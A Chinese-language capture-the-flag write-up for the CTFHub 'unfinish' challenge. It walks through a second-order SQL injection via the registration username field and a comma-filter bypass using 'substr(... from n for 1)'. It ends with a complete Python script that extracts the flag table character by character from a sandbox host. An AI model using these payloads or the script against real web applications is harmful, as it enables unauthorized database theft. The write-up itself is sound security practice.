CTFHub-unfinish
unfinish
打开是一个手机模板的登录页面,看了下源码,发现有个文件夹./uploads/
,乱扫一通什么都没有
还是到登陆页面,先试试万能密码
有提示,看了下input标签,是前端检测,用burp抓包开始fuzz
尝试了请求头,email和password注入,包括post数组尝试报错,都没有用
emmmmm,思路断了
去看了wp,发现是要尝试注册页面,接着做(思路太窄了
登陆进来什么都没有,只显示了用户名
而用户名是可控的,推测注册用户时会使用
insert into table value('$email','$username','$password')
尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果
语句0' + ascii(substr(database(),1,1)) +'0
被过滤
尝试了一遍,这里会检测逗号,用from 1 for 1
代替掉逗号就行
0' + ascii(substr(database() from 1 for 1)) +'0
登录之后可以看到ascii码
之后写脚本跑就可以了
这里在写脚本之前测试了一下被ban掉的关键字,emmmm,information_schema被ban了,那么就爆不了表名,所以猜测表名为flag,测试了一下表名确实为flag,剩下的硬跑就可以了
注册页面:./register.php
登陆页面:./login.php
这里给出爆破的脚本(偷了个懒,没加结束检测,看到flag爆完手动ctrl + c
import requests
import re
register_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/register.php'
login_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '111@123.com%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')
爆出flag
我的做题思路比较窄,比如这里的登陆页面联想到注册页面,还需要多做多看
这里的二次注入也不是很熟悉,我的理解有点僵硬,觉得只能是单次请求的两次查询,这种思想要改正
多肝,共勉